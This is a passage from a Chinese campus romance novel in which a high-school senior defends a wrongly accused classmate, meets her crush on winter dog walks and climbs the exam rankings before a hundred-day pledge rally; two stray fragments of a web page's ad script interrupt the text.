大哥,她这是在吵架,不是在考试啊喂! “你就不问问是什么原因吵起来的?” “这还用问?”段言莫名地看了他一眼,理所当然地说,“一定是别的女生不对。” 一个从上幼儿园起就“行侠仗义”保护同学的女孩子,怎么可能主动挑事欺负别人? 姚一哲:“……” 我真他妈的服了。 …… 隔壁高三(20)班。 冷不丁的听见张晓薇这个名字,谯诗雨彻底愣住了。 小学班上有个女生叫张晓薇,头发黄不拉几的,长得瘦瘦矮矮的,一副营养不良的样子。听说她家里条件不太好,班上的同学都有好多双鞋子可以换着穿,唯有她,总是两双鞋子轮换着穿。 坐在她前面的女生是专管班费的班干部,有一天早操结束后,他们班的班费不翼而飞,管班费的女生吓得都哭了。没有任何证据证明是张晓薇偷的班费,但没过多久,班上流言四起,都开始传:班费就是张晓薇偷的,她是个小偷。 张晓薇试图解释,但是除了陈丹丹在内的少数几个同学之外,没有人相信她,也没有人愿意和她玩,老师在课堂上让前后桌一起讨论问题时,其他三个人凑在一起说话不搭理她。当她竭力想要摆脱眼前的困境,主动告诉前桌她愿意攒钱把班费凑齐,却引来了同学们更深的怀疑——既然你说你没有偷班费,那你为什么还要主动凑钱? 一个月后,忍受不了流言蜚语的张晓薇桌兜突然空掉,班主任说她转学了。至于班费到底在哪里,被谁拿走了,直到现在都没有定论。 有的同学忘记了张晓薇,把她当做存在感极低的影子,从小学生活中一掠而过,但也有人忘不了张晓薇,比如陈丹丹,又比如谯诗雨。 “不要让谷欣妍成为下一个张晓薇。”陈丹丹语气坚定,“我和谷欣妍才当了短短几个月的同桌,连我都清楚她不是那种会偷同学笔记的人,你和她当了这么久的舍友,难道还不相信她的为人吗?” 谯诗雨哑口无言,她深吸一口气,对陈丹丹和她旁边的谷欣妍说道:“好,我再回去找找,谷欣妍,麻烦你也帮忙再找找。” 说完,她没有看任何人的反应,转身离开20班。 走到门口时,低着头的谯诗雨感应到什么,头一偏,竟看见她暗恋了很久的少年靠在课桌边微微扬眉,冲着她身后的某个方向笑了笑,比了个大拇指。 谯诗雨闭了闭眼,大步流星地往出走。 她知道段言是对谁笑的。 是陈丹丹,她曾经嫉妒过,现在仍然有些嫉妒的女孩子。 38. 三十八颗青梅 谯诗雨读小学的时候并不起眼,是个皮肤黑黑的微胖女生,学习成绩也仅仅是排在班上靠后的位置。 她曾经非常羡慕陈丹丹,这个白皙漂亮、性格开朗的女孩,不止因为她的外表和性格,更因为她是唯一一个被段言允许待在他身边的女孩子。 她见过段言给陈丹丹买零食,见过段言帮陈丹丹补作业,也见过段言把脖子上的红领巾取下来给陈丹丹系上,自己跑出去又买了一条红领巾。 那时年级里经常传谁谁谁喜欢谁谁谁,谯诗雨不确定她对段言的在意和关注就是喜欢,只是觉得他长得好看,学习也好,对陈丹丹这个小青梅更是好到让人羡慕。 谯诗雨没有想到段言会转学,消息来得太过突然,她急匆匆跑去校门外买了本同学录,想让他填一张同学录留作纪念。不料他拒绝了,“时间有限,我只收了几张同学录。” 于是谯诗雨观察了一下这几张同学录是写给谁的,果不其然,除了班上的几个男生外,还有陈丹丹。 或许今后再难见到段言,谯诗雨太想留下点什么,正巧那天的大课间,班上大部分同学都出教室了,她抬头望了望前方陈丹丹的座位,桌兜里几本书上放着一张颜色鲜亮的同学录。 不知名的念头驱使着她,在那漫长的十几秒里,她走到陈丹丹的座位边,快速抽走了那张同学录。 那张同学录至今都夹在谯诗雨的课外书里,说不清是什么心思,她一直都没有丢掉它。 上了初中后,谯诗雨偶尔也会想起段言,顺带着想起陈丹丹,心里竟然产生了一种诡异的平衡。段言转学离开了,她难以见到他不假,陈丹丹不也再难见到他吗?指不定过个几年,段言连陈丹丹是谁都记不清了。 她万万没有想到,段言会突然在高二下学期转回来,更没有想到,数年过去了,他居然还是只对陈丹丹一个女生好。 …… 窗外的雨下的噼里啪啦的,陈丹丹感觉身上穿的毛衣还不够暖和,又将将校服拉链往上拉了拉。 谷欣妍到教室后,陈丹丹关心道:“昨晚你回宿舍后,谯诗雨没说什么吧?” 谷欣妍笑道:“她一句话都没说,到处翻找笔记本,最后在她书桌的抽屉里找到了。” “她有和你道歉吗?”陈丹丹问。 “有的,”谷欣妍边说边回忆昨晚的场景,“我正泡脚呢,谯诗雨忽然走过来和我说对不起,虽然还是那副冷冰冰的样子,但我能看出来,她的道歉是真心实意的。” “那就好。” 这件事情产生的波澜逐渐在谷欣妍心中淡去,但陈丹丹在她需要的时候毫不犹豫挺身而出,还是在她心中留下了深刻的痕迹。遇事见人心,陈丹丹真是一个讲义气、值得信赖的好朋友。 今年的第一场初雪落下时,谷欣妍已经和陈丹丹、祝思倩成了形影不离的好朋友,三个女孩子会在体育课一起打羽毛球、聊八卦,下课去洗手间时,她们也总会结伴而行。 有为之坚持不懈的目标,有互帮互助的好朋友,有心底为之眷恋的怦然心动,即使每天做再多的题,陈丹丹都不觉得累,反而津津有味地在忙碌中寻找到了乐趣。 天还没亮,她就爬起来学习,想着即将到来的期末考试,想着心底的目标,想着和段言考到同一个城市的决心,她总是能咬牙坚持。 洗漱的时候,边刷牙洗脸,边在心里默背课文或者各种公式。吃午饭,就边看手表上的时间,边大口大口吃,吃完接着学习。吃晚饭,就拿煎饼或者包子之类的充数,边啃饼子边看错题集。 陈丹丹争分夺秒的学习,也换来了期末考试的进步,当她看到成绩单上她越来越往上的排名时,突然就想起了段言在笔记本上写过的一句话。 「不要犹豫, 在正确的道路上努力前行, 你会取得你想要的成绩。」 段言说的果真不错,用正确的方法日复一日地努力,她终于在这次的期末考试中取得了她想要的成绩。 当陈丹丹为成绩进步而欣喜时,祝思倩告诉她一个八卦:“段言的照片又被人偷走了!” “什么照片?”陈丹丹不解地问,这个“又”字又是什么意思? “就楼下的荣誉栏啊,上面会贴高三大考年级前三十的照片。之前期中考试的时候不是贴过一次么,据说段言的照片刚贴上不到两天,就被某位不知名人士偷走了,学校只好又贴了一次。昨晚排名出来后,段言的照片又不见了。”祝思倩捂着嘴巴笑,“也不知道是求学神保佑的迷信同学拿走了,还是他的迷妹拿走的。” 陈丹丹好笑道:“这也太夸张了吧……学校就没查出来是谁拿走的吗?” “没有,”祝思倩撇撇嘴,“我都怀疑我们楼下的监控就是个摆设。” 陈丹丹也不知道学校是怎么处理的,第二天她特意去荣誉栏看了看,发现排在首位的名字旁边,照片处仍是一片空白。 不止陈丹丹她们,姚一哲也听说了这件事,当他发现段言的照片又不见了,倚在桌前狂笑:“段神,你的照片又没保住!”不像他,照片还贴在上面呢! 段言淡定到翻书的速度都没有减慢一分,脑子里还是《津巴多普通心理学》的内容,随口敷衍道:“哦。” 姚一哲挤眼睛:“你就不想知道是谁把你照片拿走了吗?” 段言又翻了一页书:“不想。” 姚一哲:“……” 这么无所谓的吗?他就不信找不出一个能让段言变脸的话题来! 走出教室转了一圈,姚一哲自信地回来了,他先是咳了两声,随即装腔作势道:“沈作闻去隔壁班找陈丹丹了,手上还拎着个袋子,据我观察,他们说了很久的话了,该不会——” 话都没说完,身旁看书的人就不见了。 教室外,陈丹丹不解地看着面前这个男生,她和沈作闻只见过一次面,不知道他为什么忽然来班上找他。 沈作闻也颇为无奈,他递给陈丹丹一个袋子,“我妈刚从希城回来,她带了些那里的特产,让我拿给你。” 陈丹丹不想接,“阿姨的好意我心领了,东西就不用了。” 沈作闻想起他妈的嘱咐,执意把袋子给陈丹丹,“不是什么贵重的东西,就两袋牛肉干,我妈已经给你妈打过电话了。” 陈丹丹只得接过袋子,“……好吧,那就谢谢你和阿姨了。” 沈作闻还欲说点什么,就被一道声音打断。 “陈丹丹。” 陈丹丹听见段言在叫她的名字,立刻抬头望去,身姿挺拔的少年正迈腿向她走来。 “俞秉文有急事找你。”段言低头看向陈丹丹,一个眼神都没给沈作闻。 “哦,”陈丹丹点头。向沈作闻告别,“我先走了。” 看着头也不回、并肩而行的两人,再想想段言方才的动作,沈作闻摸摸鼻子笑了,他这是被段神误会了? 教室里,陈丹丹问俞秉文:“你找我什么事?” “我——”没找你啊。 剩下几个字还没说完,俞秉文就被段言一个眼神止 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 住了口,然后他就听见他那风光霁月的学神好兄弟面不改色地道:“你不是说约我们放学后一起去书店买资料?” 俞秉文一边在心里嚷嚷“我什么时候说过这话”,一边挤出微笑,帮好兄弟圆谎,“嗯,对,这不是明天就要放寒假了么,我想问问你和祝思倩、谷欣妍下午有空没,要不要一起去学校旁边的书店买些资料。” 陈丹丹的关注点在“放寒假”和“买资料”上,也是,马上放寒假了,这次的假期虽然不长,但用老康的话来说,是一个“弯道超车的好机会”,至于自己是超车的人还是被超过的人,就看自己是否努力了。 想到这里,陈丹丹坚定地点点头:“我有空,我去问问倩倩她们。” 得到的答案是谷欣妍有其他事情,祝思倩有空,于是其他几人放学后背着书包去了书店。 冬天天黑得早,天空漆黑一片,路灯下,少年少女的身影被灯光拉得很长。 祝思倩戴着毛茸茸的手套搓了搓手心,担忧道:“学校今天发了那么多卷子不说,我的五三、王后雄和天利38套还没做完,再买本习题册,刷得完吗?” 俞秉文嘲讽道:“你不看漫画就能刷完了。” “我怎么可能不看漫画?” “你想想你这次期末考试的排名,你还能看得进去漫画?” “你这次退步了两名,还好意思说我?” 他们两个打打闹闹的,凑一起顶多三岁,陈丹丹看得想笑。这时,头顶传来一声:“陈丹丹。” “嗯?”陈丹丹仰头看向段言,哪怕穿着厚厚的毛衣和加绒的校服外套,他还是那么好看,尤其那双深邃明亮的眼睛,格外吸引人。 等了半晌,段言才蹦出一句:“现在是关键时期,别早恋。” 陈丹丹惊了惊,只觉路边的冷风全都穿透衣服,灌进了她的心口。 她暗恋他的秘密被发现了吗?他是什么时候发现的? 他说这话的意思……是委婉拒绝她吗?还是说,“现在”不能早恋,以后可以…… 陈丹丹脑补了八百种想法和可能,心念一转,干脆先来个死不认账,然后听听段言是什么想法好了。 陈丹丹打定主意,刻意不去看他,目光落在前方正在打闹的祝思倩身上,结结巴巴道:“你,你在说什么?我没早恋啊。” “我看到沈作闻来找你了。”你还破例接了他给的东西。 原来他说的是这个啊…… 陈丹丹可算是明白坐过山车是什么感觉了,心一会儿上一会儿下的,她扯了扯胸前垂下的围巾流苏,“我和他就是普通同学,今天下午他来找我,是因为他妈妈让他带点东西给我妈。” 迟迟没听到回答,她仰着脑袋看去,正好对上段言移开的眼神,目光相接的瞬间,她听见段言“哦”了声。 “你放心好了,我分得清轻重,才不会在高三早恋呢!而且我喜欢的也不是沈作闻那种类型,能让我早恋的,长相起码得和你不相上下吧。” 陈丹丹越说越顺口,还顺带着开了个玩笑,紧张的情绪也逐渐缓解开来,将刚刚被她揉成一团的围巾流苏理了理。 转头间,她注意到段言被冻红的耳朵。 “你耳朵冻红了,要不要戴上耳罩?”陈丹丹取下她的粉色毛绒耳罩,上面还印的有HelloKitty。 “不用。”段言偏过脑袋不去看她。 “真的不用吗?都冻红了诶。” “我没事。” 他心里清楚,那不是冻红的。 39. 三十九颗青梅 寒假意味着最冷的冬天,也意味着要过年团聚,叔叔带着一家人回老家过年,陈丹丹不想去,再三保证自己可以一个人在家,换来了独居体验卡一张。 放假前段言帮她挑了几本习题册和套卷,眼下正好可以用大把时间来刷题。 醒了就看书做题,饿了就煮点速食食品或者出门觅食,累了就出门逛两圈,屋里没有嘈杂的声音,没有会干扰到她学习的存在,体验感还蛮不错的。 就这样差不多过了三四天,化学攻克进度6%,物理这个小怪兽攻克进度5%,陈丹丹下午刷完一套理综卷子,对完答案发现正确率还不错,在计划本上打了个√,开开心心地煮了醋碗汤面,吃完出门遛弯。 冬天冷嗖嗖的,这会儿算不上寒风如刀,但陈丹丹也能感受到冷风的威力。大街上的人比起春夏秋来说少了许多,只有附近的广场舞歌曲才显出些人群的活力来。 街上偶有些路人,也是行色匆匆地往前走,陈丹丹只能看见他们裹着厚厚的羽绒服,包的跟粽子似的背影。 毫无美感。 着实不像夏日那般,大家穿得清凉时尚,惬意地漫步在街头。 直到眼前出现一个又高又瘦的人影。 夜幕下,少年穿着黑色羽绒服,围着格子围巾,身影格外修长。在路灯的笼罩下,他拉着牵引绳遛狗,毛茸茸的小金毛活力十足,一个劲儿地往前冲。 他拽住绳子,蹲下来狠狠摸了把狗头,“干脆给你改名叫小炮弹得了。” 在呼气如同白雾一般的冬日寒夜里,他的出现瞬间让陈丹丹感受到热意,心里变得暖烘烘的。 陈丹丹笑出声来,挥挥手喊他:“段言!” 段言在她喊出第一个字的时候就抬头看向她,身穿红色棉衣的少女披着柔顺的长发,眉眼弯弯地喊着他的名字。 此时,天边暗沉无光,唯有路灯下模糊的光影,陈丹丹就像是一只火红的小精灵,突然出现在寒冷的冬夜,周遭的一切都在她出现时化为虚幻的背景。段言的眼中只留下她如向日葵般灿烂的笑容,以及那声让人心里发烫的轻喊。 “段言!” 她又喊了一声。 段言站起身,牵着金毛往陈丹丹的方向走,“这几天过得怎么样?” 陈丹丹拧眉细想了片刻,肯定地道:“非常非常充实。” 段言垂眸看她:“哦?你做了些什么?” “刷题啊。” “……” 他的眼神里明晃晃地透露出“单就刷题也算充实吗”的意思。 陈丹丹掰着指头给他算,“你看啊,我早上刷题,中午刷题,下午刷题,晚上继续刷题,这还不够充实吗?” 段言偏过头没说话。 陈丹丹还以为他被噎住,灵活地蹦跶到他身侧,得意洋洋地准备观察他这位口下败将的表情,就见他弯了弯唇角。 “哦~你偷笑!”陈丹丹有种将他当场抓包的得意,然后又皱了皱鼻子,“有这么好笑吗?” “不好笑。”段言抿抿唇,皱了皱眉头道。 “那你刚才还笑!”陈丹丹指控。 “想笑就笑了。”段言低头看路,避开陈丹丹的灼灼目光。 “……” “汪!”脚边的小金毛忍不住彰显存在感,左转转右转转,提醒主人赶紧带它去玩儿。 “哇!好可爱的小狗,我可以摸摸它吗?”陈丹丹原地蹲下,仰起脑袋眼巴巴地望着段言。 脚边是蹲坐的毛绒小狗,小狗摇着尾巴望向主人,乞求主人带它去玩儿。小狗的旁边是蹲着的少女,她穿的毛绒绒的,一双水灵灵的大眼睛直勾勾地盯着他。被两双大眼睛盯住的段言不自在地“嗯”了声。 陈丹丹的手立刻摸上了小金毛的背,她是顺着毛发摸的,毛发柔软又密集,像是在摸一只有温度的毛绒玩具,“手感好好哦!它叫什么名字?” “阿福。” “好听!”陈丹丹揉了揉阿福的脑袋,在小金毛的强烈要求下,和段言一起带着它在附近逛了几圈。 不知不觉又走回陈丹丹楼下,她朝着段言挥手:“那,再见啦!” 暮色里,少年笑容柔和,“再见。” …… 大寒过去,天愈发冷了,寒声呼呼地吹着,陈丹丹出门总是要穿上厚厚的毛衣和棉服,把自己裹得严严实实的,全身上下只露出半个脑袋,恨不得将整张脸都埋进围巾里。 为了和遛狗的段言“偶遇”,陈丹丹每天都定时出门,不想被他察觉到她的暗恋心事,她还笑眯眯地道:“好巧,怎么每天都能碰到你?” 连她自己都惊叹,她居然还有这样的演技。 原来当你偷偷地喜欢一个人时,你会忍不住在脑海里模拟千万遍同他说话的场景和语气,展现出此生最好的演技。 “阿福闹着要出来玩儿。”段言摸摸鼻子,声音里是显而易见的无奈。 陈丹丹蹲下来摸摸小金毛的头,心里想:阿福阿福,你可真棒! …… 段言回到家,三两下将圈住脖颈的围巾摘下,随即脱掉厚外套,倒了杯温水喝。 兜里的手机在振动,他点开Q.Q。 李为:「寒假作业做完了吗?[坏笑]」 段言喝着水,单手回:「没。」 李为:「谁让你明明可以保送,还非得去吃高考的苦?这下好了吧,还得做寒假作业。」 段言放下水杯,回他:「体验一下而已。」 李为:「也是,高考对其他人来说可能是一种折磨,对你等学神来说也不过就是一种人生体验而已……话说你最近怎么这么晚才回消息?干嘛呢?」 段言回了两个字:「遛狗。」 李为:「你们家阿福不一直是叔叔阿姨在遛吗?你怎么突然喜欢上遛狗了?」 段言勾了勾唇,半晌,才回:「遛狗可以带来好运。」 李为:「真的假的?!」 段言慢悠悠发过去几个字:「对我来说是真的。」 在遛狗的路上可以遇见想见的人,怎么不算是一种好运? …… 本就不长的寒假一晃而过,二月二十二的元宵节过后,立马迎来了高三下学期,祝思倩还同陈丹丹抱怨:“我看‘寒假寒假’,寒是真的,过个冬要把人冷死,‘假’是假的,感觉根本就没有放几天么。” 沆市八校高三第一次联考随之拉开序幕。 各科老师都不约而同地给同学们打鸡血,各种经典话术层出不穷。 “别看你们现在坐在同一个教室里学习,听同样的老师讲课,将来你们会拉开很大的差距,有些混得不好的同学,连见老同学一面都不好意思。” “你们现在不努力还等着什么时候?高考结束了在复读班上努力?” “想玩是吧?很简单啊,高三你们给我玩命学,高考完了之后你们想怎么玩就怎么玩,大学四年够你们玩的了。” 教室里的气氛也一天比一天压抑,不少同学每天脸上都挂着黑眼圈,调侃自己是国宝,只能靠着下课时间趴倒在桌子上补觉。故而白天一下课,教室里一倒就是一大片。 陈丹丹尽力忽视掉紧张的气氛,专注自己的学习与进步。 偏偏俞秉文不走寻常路,下课了,他就和班上几个男生一起开玩笑:“没事没事,大不了我们去蓝翔学挖掘机。” “新东方烹饪学院也可以啊,等俞大厨你学成归来,记得请我们吃饭!” “服了,你们这么说,有没有考虑过沆大的感受,人家现在好歹二本升一本了!” “说的有道理,实在不行,咱们到时候组团去沆大吧。” “那老康不得抽死我们!” “嗯?”老康的脑袋忽然从走廊的窗户伸进来,“你们又干什么坏事了,让我抽死你们?” 几个男生抱头鼠窜,巴不得康老师没有认出他们,也有男生不讲义气地大叫:“报告老师,俞秉文说他要考沆大!” 陈丹丹当时眼泪都要笑出来了,一转头,见谷欣妍也笑得肩膀直抖。 教室里的氛围好了一点。 联考前一天,康老师给同学们鼓舞士气:“你们放宽了心去考,一定要考出个好成绩来,不然别的学校说咱们火箭班的同学比不上他们那些特优班、珍珠班、清北班的学生,多没面子啊!” 换在平时,俞秉文估计会小声叨叨“老康讲话真矛盾,又要让我们放宽心,又要让我们考好”。这一回他倒是没有吐槽,只是私下里和陈丹丹他们说:“我和我在市一中的哥们儿打赌,我肯定比他考得好。” 陈丹丹和祝思倩对视一眼,几乎是立刻想起了暑假补课时认识的朋友,来自市一中特优班的长发女生。当初她们相约联考见,这回说什么也不能被比下去。不为别的,华兴中学不能输给市一中! 联考前一天晚上,陈丹丹收到一条短信:「阿福让我告诉你,联考加油!」 想加油就加油么,还说什么阿福。 尽管心里清楚,段言不过是关心一下朋友,但他的随手为之,还是让陈丹丹的心里乐得冒泡。 于是这一晚,陈丹丹是带着笑容入睡的,第二天考试时状态也很好。 联考结束不过几天,成绩就出来了,学校的动作相当迅速,立刻将成绩排名公布在了公示栏上。是的,老康提前告诉过他们,高三大考的成绩以后都会公布在上面。 陈丹丹还记得她上一次去公示栏,是看自己的分班信息,她怀着一丝希冀去看分班名单,最终却失落而归。 这一次,她心态平和地和祝思倩她们走到楼下,和大多数同学一样,她下意识地先看了眼排行榜第一名。 果不其然。 年级第一名,段言。 毫无意外的第一名,自从他转校以来没有变过的年级第一名。像是神话般,雷打不动地占据首位。 陈丹丹往他名字的右边看去,数学满分,理综直逼满分,语文125分,英语142分。 然而这不是最重要的,陈丹丹和站在公示栏跟前的同学一起,把目光挪向了段言的联考排名—— 八校联考理科第一名! 身边不少同学发出惊叹声: “不愧是我段神,牛逼到直接考出来个联考第一,这下老康该笑疯了吧?” “厉害了段神!我何德何能,能和联考第一名坐在同一间教室里啊!” “哈哈哈哈我打赌赢了!我市一中的朋友说他们学校的那谁谁谁会拿走第一,我说第一肯定是段神的,我赌赢了六十六瓶可乐哈哈哈哈!” 的确,这样耀眼的成绩,这样漂亮的排名,段言的优秀毋庸置疑。甚至他优秀到有时候会让陈丹丹怀疑,他是否是她小时候的玩伴,他们真的当了好几年的好朋友吗? 只是当陈丹丹看到段言的名字高高悬挂在首位,如磐石一般丝纹不动时,为他产生的欣喜仍在,而以往的纠结、酸楚、黯然,以及隐隐的自卑感,却在慢慢消失。 因为她进步了,在成绩单上的排名距离他越来越近。 从第二张纸来到和他一样的纸张上,在段言的名字下方,清清楚楚地印着陈丹丹这三个字,她现在已经重新养成了从上到下看自己排名的习惯。 她名字前面的序号是——60。 年级第六十名,这是她高二以来考出的最好的成绩。语文和英语的优势被她发挥到极致,数学进步了一点,考了125分,理综更是进步了一大截,考出了她以前想都不敢想的分数。 祝思倩显然也看到了陈丹丹的排名,她激动地抱住陈丹丹的胳膊喊:“哇啊啊!丹丹你好棒!” 谷欣妍也笑着恭喜她 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' :“丹丹,你真厉害!” 陈丹丹回以真切的笑容。 对她来说,欣喜雀跃只存在于看到排名的那一瞬间,研究并记录了自己的成绩和排名后,陈丹丹几乎是心如止水地回到了教室里。 第一次联考的成绩只是暂时的,不久之后还会有二模、三模等等,之后还有最最最重要的高考。骄傲和兴奋只会让她自我麻痹,唯有冷静地分析失分原因,她才能在接下来的日子里持续进步。 她联考的成绩是很不错,但她绝不会仅仅满足于这样的不错,她还能更好。 …… 陈丹丹没有把这次联考的成绩放在心上,而是从容不迫地进行考试分析,继续脚踏实地用心学习。 这天,康老师在教室里宣布了一个“重磅消息”:明天下午两点整,学校将召开联考表彰暨百日誓师大会,所有同学必须身穿上校服准时参加,无故不得请假。 陈丹丹对这样的形式兴致缺缺,她还有一套理综卷子没有刷完,昨天数学老师布置的活页作业也还没有写完,根本无暇去想这些事情。 倒是谷欣妍和祝思倩两人兴奋得很,你一言我一语地讨论起来: “百日誓师大会哎!天哪,好可怕,还有一百天我们就要高考了。” “是啊是啊,时间过得好快啊。” 陈丹丹的思绪随着她们俩的话开始飘飞,教室前面除了一块大黑板之外,还挂着一张小黑板,上面写着“高考倒计时xxx天”。康老师每天早上亲自用板擦擦掉头一天留下的数字,然后用红色粉笔写下一天比一天小的数字,写完还要多描几下,叮嘱同学们每次记得多领一盒红色粉笔,红色的写出来显眼一些。 教学楼不知道从什么时候起也挂上了鲜艳的横幅,“吃得苦中苦,方为人上人”“宝剑锋从磨砺出,梅花香自苦寒来”“多考一分,干掉一千人”等热血的句子随处可见。 “光阴似箭,岁月如梭”,上初中时陈丹丹很喜欢在作文里引用这句话,但也仅仅是引用,没有深刻的体会。 现在,望着小黑板上的倒计时数字,陈丹丹发出了和祝思倩一样的感叹:“时间过得好快啊!” 她还有好多题目没有做,好多知识点没有复习到位,怎么就要高考了呢? 别慌。 陈丹丹告诉自己,她还有时间,还可以再进步一点点。 …… 晚上回到家,趁着书房没人,陈丹丹移动鼠标,在电脑上登录许久没有用过的Q.Q。 刚一登录,对话框里就弹出几条消息。 dy:「外婆生病了,我请了几天假去看她。」 dy:「看到你成绩进步了,恭喜。」 陈丹丹看着对话框里显示的日期,才恍然,原来在她没有登录Q.Q的这些天里,段言偶尔会给她发消息。 她回过去:「我好多天没登Q.Q了,不是故意不回你的。」 那头消息回复的很快:「我知道。」 陈丹丹惊讶:「诶?」 他怎么会知道的? dy:「你太久没登录,Q.Q上会显示的。」 cdd:「喔,原来是这样。」 陈丹丹酝酿了一会儿,仗着隔了一条网线,段言看不见她微微发红的面颊,鼓起勇气问了他一个问题:「你想好考什么学校了没?」 陈丹丹屏住呼吸,等待他的答案。 dy:「怎么?」 cdd:「没什么,就是好奇一下。」 如果可以,陈丹丹很想很想和段言考进同一所大学,但是以她现在和段言的成绩差距,太难了。 她退而求其次地想着,选一个踮起脚尖可以够得着的目标,和段言考到同一个城市也不错。 因为她太清楚,如果没有相同的轨迹,没有共同的话题,两个人就会彼此渐行渐远,像是曾经的她和段言,也像是她和儿时其他的小伙伴。 而她不愿意发生那样的结局。 段言没让她久等,差不多在她消息发出去的几秒钟后,他就回复道:「A大吧。」 A大是国内数一数二的名校,陈丹丹对此早有预料。她回了一句「嗯,我去学习了」,然后就下线了。 未来的目标越来越清晰,唯有努力才能有希望实现。 …… 这是一场别开生面的百日誓师大会。激昂有力的国歌声拉开了大会的序幕,接下来是高三年级主任的讲话、校领导讲话。 当校长和老师为高三学生表彰奖励时,操场上的气氛被推向高潮。 毫无疑问,优秀之星颁发给了年级前十,这十位同学都是火箭一班的。段言作为年级第一,当之无愧地在拍照时被安排在正中间的位置。 陈丹丹在台下仰望着他,和其他同学一起为他们鼓掌,心里满是骄傲和祝福。 陈丹丹没想到,她也会上台领奖,而且是两度上台接受校长亲手递给她的荣誉证书。 一次是单科优秀之星,发给各科目第一名,另外一次是进步之星,发给高三入学到现在进步很大的同学。 陈丹丹的语文和英语都是第一名,她接过两本厚厚的荣誉证书,心潮澎湃地站在台上。身侧传来清冽好闻的气息,少年颀长的身影为她挡住了午后的阳光。 她偏过头去看,段言拿着四本荣誉证书站在她身边。 “证书的质量还不错,外壳摸着手感挺好。”他压低声音和她说话。 陈丹丹竭力忍住才没有笑出声来。 “你们稍微站近一点。”前面举着摄影机的拍照师傅指挥道。 他话音还没落下,陈丹丹就感觉到左侧传来的温度更靠近了,她脸颊绯红,在拍照师傅按下快门的瞬间,她发烫的脸上露出一个大大的笑容。 原来这就是站在他身旁的感觉啊。 真好。